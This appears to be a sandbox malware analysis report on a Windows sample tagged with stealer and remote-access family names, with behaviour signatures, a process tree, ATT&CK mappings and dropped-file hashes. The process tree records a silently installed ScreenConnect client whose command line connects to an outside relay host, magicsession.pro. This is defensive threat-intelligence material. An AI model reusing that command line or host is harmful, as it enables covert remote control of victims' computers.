Overview

overview

8

Static

static

3

2026-07-06...er.exe

windows10-2004-x64

8

2026-07-06...er.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 04:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-06_2fa00cb2160ae8200596bca794482fc3_amadey_elex_luca-stealer_njrat_remcos_smoke-loader.exe
  • Size 21.1MB
  • Sample260707-e8byzshy8x
  • SHA256 b41d902515ca5a7f909d5001d6a29e8eb1cb77690a399e416b14857fcc76b3f1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoverypersistenceprivilege_escalationransomwarerevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 25 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 53 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 46 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 21 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-06_2fa00cb2160ae8200596bca794482fc3_amadey_elex_luca-stealer_njrat_remcos_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-06_2fa00cb2160ae8200596bca794482fc3_amadey_elex_luca-stealer_njrat_remcos_smoke-loader.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4184
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup_0E593CA2\component.msi" /quiet /norestart
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:6064
    • C:\Users\Admin\AppData\Local\Temp\Setup_0E593CA2\setup.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup_0E593CA2\setup.exe" /install /passive /norestart
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2532
      • C:\Windows\Temp\{A769438D-48A4-4E24-875B-2E9530746081}\.cr\setup.exe
        "C:\Windows\Temp\{A769438D-48A4-4E24-875B-2E9530746081}\.cr\setup.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\Setup_0E593CA2\setup.exe" -burn.filehandle.attached=916 -burn.filehandle.self=924 /install /passive /norestart
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:1364
        • C:\Windows\Temp\{EDC1ECF9-F1D0-44CF-8AAE-5042A3CC5B43}\.be\VC_redist.x64.exe
          "C:\Windows\Temp\{EDC1ECF9-F1D0-44CF-8AAE-5042A3CC5B43}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{9C3BD9EB-69B3-4663-A015-0190200A79FC} {AEB86C81-107F-4299-9354-7246FB357EB4} 1364
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:1068
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 1144
          4⤵
          • Program crash
          PID:1532
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3880
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 61DFC302AFCCB9082745CAE92DCED384
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI4184.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240730640 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4516
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 67D1748931F8176F2EBD81D04D936B8F E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2460
  • C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=magicsession.pro&p=8041&s=f0a137a8-750e-4d51-92b3-66b09e058645&k=BgIAAACkAABSU0ExAAgAAAEAAQCZcJmd3aGijtYNIfnywyCxstWYLWo67%2bUXdJp%2bV%2fDKo2q61Ags5%2bz7Mo8PO%2bAaKgzXRZhyNOGBmEZnAU8s%2b1OuTAQLWvTz6powVAviLa5N7uw8j%2fsyUut2j5mzip6pU4sJ0vp4eQ%2biPmNx2JkMDtOgsCGuKvbr5GL5IbM%2ffAYOkROMnSyM1gpMUhwim9Z2132TGOoXR10hsGrHtTvuNgVNywK3DYijlKbrpgdJqbtDewl1jQbebeWScWybRtPZB8iW1jgY7D%2bn2dGVfu9Eekq%2fXjUDj%2bH90BWtcCbqYRka7X9vFNoAjyEqXP9kf9UV7wjgwQ4pwXjSXih2XZ2zjI6y"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5400
    • C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe" "RunRole" "3dd03baf-1243-4b5a-88fc-2b2328c5161d" "User"
      2⤵
      • Executes dropped EXE
      PID:620
    • C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe" "RunRole" "62a08d71-732f-4743-b43f-7f8c82a9c5bd" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:5988
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
      PID:6100
    • C:\ProgramData\Package Cache\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}\VC_redist.x64.exe
      "C:\ProgramData\Package Cache\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}\VC_redist.x64.exe" /burn.runonce
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3848
      • C:\ProgramData\Package Cache\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}\VC_redist.x64.exe
        "C:\ProgramData\Package Cache\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}\VC_redist.x64.exe" /passive /norestart /burn.log.append "C:\Users\Admin\AppData\Local\Temp\dd_vcredist_amd64_20260707053631.log" /install
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4788
        • C:\ProgramData\Package Cache\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}\VC_redist.x64.exe
          "C:\ProgramData\Package Cache\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}\VC_redist.x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}\VC_redist.x64.exe" -burn.filehandle.attached=564 -burn.filehandle.self=584 /passive /norestart /burn.log.append "C:\Users\Admin\AppData\Local\Temp\dd_vcredist_amd64_20260707053631.log" /install
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:3396
          • C:\ProgramData\Package Cache\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}\VC_redist.x64.exe
            "C:\ProgramData\Package Cache\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{D4427AC8-9A80-4CA8-B7EC-4D7A90B73F1B} {6BEA3F95-64C9-4811-8E8E-83F4F5E3963E} 3396
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:2216
            • C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe
              "C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -uninstall -quiet -burn.related.upgrade -burn.ancestors={0e3bb569-69d6-4c34-bff9-c2f81db5e5f0} -burn.filehandle.self=1180 -burn.embedded BurnPipe.{6FCC17BD-6143-4B32-AC27-5AD5BAC91FA3} {334C4FEA-4008-4D7F-B6E2-D519E073318E} 2216
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2100
              • C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe
                "C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -burn.filehandle.attached=560 -burn.filehandle.self=580 -uninstall -quiet -burn.related.upgrade -burn.ancestors={0e3bb569-69d6-4c34-bff9-c2f81db5e5f0} -burn.filehandle.self=1180 -burn.embedded BurnPipe.{6FCC17BD-6143-4B32-AC27-5AD5BAC91FA3} {334C4FEA-4008-4D7F-B6E2-D519E073318E} 2216
                6⤵
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:5600
                • C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe
                  "C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{C0250C30-9809-4694-B60D-530D5D63E158} {DDF503C7-92BD-4681-98E7-94047EBBEE75} 5600
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Modifies registry class
                  PID:2460
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1364 -ip 1364
      1⤵
        PID:4536

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Persistence

            Boot or Logon Autostart Execution

            3
            T1547

            Authentication Package

            1
            T1547.002

            Registry Run Keys / Startup Folder

            2
            T1547.001

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Privilege Escalation

            Boot or Logon Autostart Execution

            3
            T1547

            Authentication Package

            1
            T1547.002

            Registry Run Keys / Startup Folder

            2
            T1547.001

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Defense Evasion

            Modify Registry

            2
            T1112

            Credential Access

            Discovery

            Peripheral Device Discovery

            1
            T1120

            Query Registry

            3
            T1012

            System Information Discovery

            3
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e594010.rbs
            • Path C:\Config.Msi\e594010.rbs
            • Size 214KB
            • SHA256 8a968f3d9a82f24445a98899b693eb9598354f36b27be607838121946a9bc8ea
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e594017.rbs
            • Path C:\Config.Msi\e594017.rbs
            • Size 19KB
            • SHA256 96b5f168da3c9bca87cc39a2d9654c692781118a4edad0e6652746900c5961ea
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e594023.rbs
            • Path C:\Config.Msi\e594023.rbs
            • Size 19KB
            • SHA256 8966cd8e275a4891401671497151dd0b2da01d9ac2c721d3a28a6bc6f9107207
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e59402a.rbs
            • Path C:\Config.Msi\e59402a.rbs
            • Size 21KB
            • SHA256 4a7ecd68460818acfe7e5d03dddea1d1bb1143b0fee9349dfd1f36fed621cd29
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e594039.rbs
            • Path C:\Config.Msi\e594039.rbs
            • Size 21KB
            • SHA256 8dce6c2752866a362db3808af3480ae9c127b4ecd30c82f8d64fac6f8dfc094a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.Override.en-US.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\Client.Override.en-US.resources
            • Size 297B
            • SHA256 faa825cd450250b700750462391bda361a4b28f12c69f82edbd0ef2e22172969
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Client.Override.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\Client.Override.resources
            • Size 54KB
            • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.en-US.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\Client.en-US.resources
            • Size 47KB
            • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\Client.resources
            • Size 26KB
            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Client.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.ClientService.dll
            • Size 67KB
            • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.exe
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsAuthenticationPackage.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsClient.exe
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsClient.exe.config
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            ScreenConnect.WindowsCredentialProvider.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            app.config
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\app.config
            • Size 2KB
            • SHA256 51e8c31e6fc4f7658b90d995b36d8d12a3017d99358278a59f868343c957c0c9
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            system.config
            • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\system.config
            • Size 946B
            • SHA256 0bd83ced421a7d167677004c42eddc41dceeec764fcf243b7e1b57c2fe13e909
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            state.rsm
            • Path C:\ProgramData\Package Cache\{0e3bb569-69d6-4c34-bff9-c2f81db5e5f0}\state.rsm
            • Size 952B
            • SHA256 0ecac4519444e7caff393b4f9dbaf2ba2a3dffb5142470135cbcedb81b3519a8
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            component.msi
            • Path C:\Users\Admin\AppData\Local\Temp\Setup_0E593CA2\component.msi
            • Size 3.0MB
            • SHA256 63fc4725e656acaf6042feeac16c0f7ea17990d964d7ef73a8f1af56e3867249
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            setup.exe
            • Path C:\Users\Admin\AppData\Local\Temp\Setup_0E593CA2\setup.exe
            • Size 17.9MB
            • SHA256 843068991daaa1f73ad9f6239bce4d0f6a07a51f18c37ea2a867e9beca71295c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            dd_vcredist_amd64_20260707053631.log
            • Path C:\Users\Admin\AppData\Local\Temp\dd_vcredist_amd64_20260707053631.log
            • Size 8KB
            • SHA256 57cf771050bc37785fa054cb8d3cc5cb2d1326178045ef29bc2848739dfb4f8c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            dd_vcredist_amd64_20260707053631_000_vcRuntimeMinimum_x64.log
            • Path C:\Users\Admin\AppData\Local\Temp\dd_vcredist_amd64_20260707053631_000_vcRuntimeMinimum_x64.log
            • Size 4KB
            • SHA256 fd3454ba4ad54283fea640d811d54c455a490bfc733e3feddd71a69d4fee99ec
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MSI4184.tmp
            • Path C:\Windows\Installer\MSI4184.tmp
            • Size 1.0MB
            • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Microsoft.Deployment.WindowsInstaller.dll
            • Path C:\Windows\Installer\MSI4184.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Core.dll
            • Path C:\Windows\Installer\MSI4184.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.InstallerActions.dll
            • Path C:\Windows\Installer\MSI4184.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Windows.dll
            • Path C:\Windows\Installer\MSI4184.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MSI46E5.tmp
            • Path C:\Windows\Installer\MSI46E5.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            setup.exe
            • Path C:\Windows\Temp\{A769438D-48A4-4E24-875B-2E9530746081}\.cr\setup.exe
            • Size 615KB
            • SHA256 dbcc159853d8b83c1df0a0a698127ab98e926af1b6dee86e96f541dc94b34948
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            logo.png
            • Path C:\Windows\Temp\{EDC1ECF9-F1D0-44CF-8AAE-5042A3CC5B43}\.ba\logo.png
            • Size 1KB
            • SHA256 335a256d4779ec5dcf283d007fb56fd8211bbcaf47dcd70fe60ded6a112744ef
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            wixstdba.dll
            • Path C:\Windows\Temp\{EDC1ECF9-F1D0-44CF-8AAE-5042A3CC5B43}\.ba\wixstdba.dll
            • Size 215KB
            • SHA256 e921f69b9fb4b5ad4691809d06896c5f1d655ab75e0ce94a372319c243c56d4e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            cab2C04DDC374BD96EB5C8EB8208F2C7C92
            • Path C:\Windows\Temp\{EDC1ECF9-F1D0-44CF-8AAE-5042A3CC5B43}\cab2C04DDC374BD96EB5C8EB8208F2C7C92
            • Size 5.4MB
            • SHA256 19c0cdc59ae89d0491c025a966f6d40515adc2449af40f2c6c6f52e2f293ad1c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            cab5046A8AB272BF37297BB7928664C9503
            • Path C:\Windows\Temp\{EDC1ECF9-F1D0-44CF-8AAE-5042A3CC5B43}\cab5046A8AB272BF37297BB7928664C9503
            • Size 1.0MB
            • SHA256 6e8ee73933678c55973e83366e48e948b394c7a36743a36b7224c95de979b13f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            vcRuntimeAdditional_x64
            • Path C:\Windows\Temp\{EDC1ECF9-F1D0-44CF-8AAE-5042A3CC5B43}\vcRuntimeAdditional_x64
            • Size 208KB
            • SHA256 476427800c1c958dc4e71d9a0f2f3983b2608da70835db9ee5f3b8ac387e9617
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            vcRuntimeMinimum_x64
            • Path C:\Windows\Temp\{EDC1ECF9-F1D0-44CF-8AAE-5042A3CC5B43}\vcRuntimeMinimum_x64
            • Size 208KB
            • SHA256 bab5d0257e6a18a4a008e683442e3077b38172dd61af3cb1c588b46724a714e2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/620-119-0x000000001B570000-0x000000001B71C000-memory.dmp
            Download

            memory/620-122-0x0000000002570000-0x0000000002588000-memory.dmp
            Download

            memory/620-118-0x0000000002710000-0x000000000279E000-memory.dmp
            Download

            memory/620-117-0x0000000000D50000-0x0000000000D86000-memory.dmp
            Download

            memory/620-116-0x0000000000310000-0x00000000003A8000-memory.dmp
            Download

            memory/620-121-0x0000000000D10000-0x0000000000D28000-memory.dmp
            Download

            memory/620-120-0x000000001C4D0000-0x000000001C658000-memory.dmp
            Download

            memory/2100-336-0x0000000000830000-0x00000000008A7000-memory.dmp
            Download

            memory/2460-333-0x0000000000830000-0x00000000008A7000-memory.dmp
            Download

            memory/4184-241-0x0000000000860000-0x000000000089C000-memory.dmp
            Download

            memory/4184-166-0x0000000000860000-0x000000000089C000-memory.dmp
            Download

            memory/4516-35-0x0000000005FD0000-0x000000000617C000-memory.dmp
            Download

            memory/4516-36-0x0000000006740000-0x0000000006CFA000-memory.dmp
            Download

            memory/4516-27-0x0000000003C70000-0x0000000003C7A000-memory.dmp
            Download

            memory/4516-31-0x0000000003D30000-0x0000000003DBE000-memory.dmp
            Download

            memory/4516-23-0x0000000003C30000-0x0000000003C5E000-memory.dmp
            Download

            memory/5400-88-0x0000000004490000-0x00000000044E0000-memory.dmp
            Download

            memory/5400-93-0x00000000047D0000-0x0000000004862000-memory.dmp
            Download

            memory/5400-97-0x00000000049C0000-0x0000000004A95000-memory.dmp
            Download

            memory/5400-92-0x00000000044E0000-0x0000000004516000-memory.dmp
            Download

            memory/5400-95-0x0000000004520000-0x0000000004561000-memory.dmp
            Download

            memory/5400-75-0x0000000001C30000-0x0000000001C48000-memory.dmp
            Download

            memory/5600-335-0x0000000000830000-0x00000000008A7000-memory.dmp
            Download